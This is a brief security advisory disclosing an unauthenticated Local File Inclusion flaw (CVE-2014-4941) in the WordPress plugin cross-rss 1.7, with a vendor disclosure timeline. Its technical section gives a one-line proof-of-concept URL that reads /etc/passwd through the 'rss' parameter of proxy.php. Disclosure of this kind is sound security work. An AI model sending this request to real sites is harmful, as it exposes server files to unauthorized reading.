wp-plugin : cross-rss | Code Vigilant : to err is human.. To fix is Humanity

Wp Plugin Cross Rss

Plugin Details

Plugin Name: wp-plugin : cross-rss

Effected Version : 1.7 (and most probably lower version's if any)

Vulnerability : Local File Inclusion

Minimum Level of Access Required : Unauthenticated

CVE Number : CVE-2014-4941

Identified by : Anantshri

WPScan Reference URL

Disclosure Timeline

February 19, 2014: Vendor Contacted
May 29, 2014 : Public Disclosure

Technical Details

http://localhost/wp-content/plugins/cross-rss/proxy.php?rss=/etc/passwd

Vulnerable Parameter : rss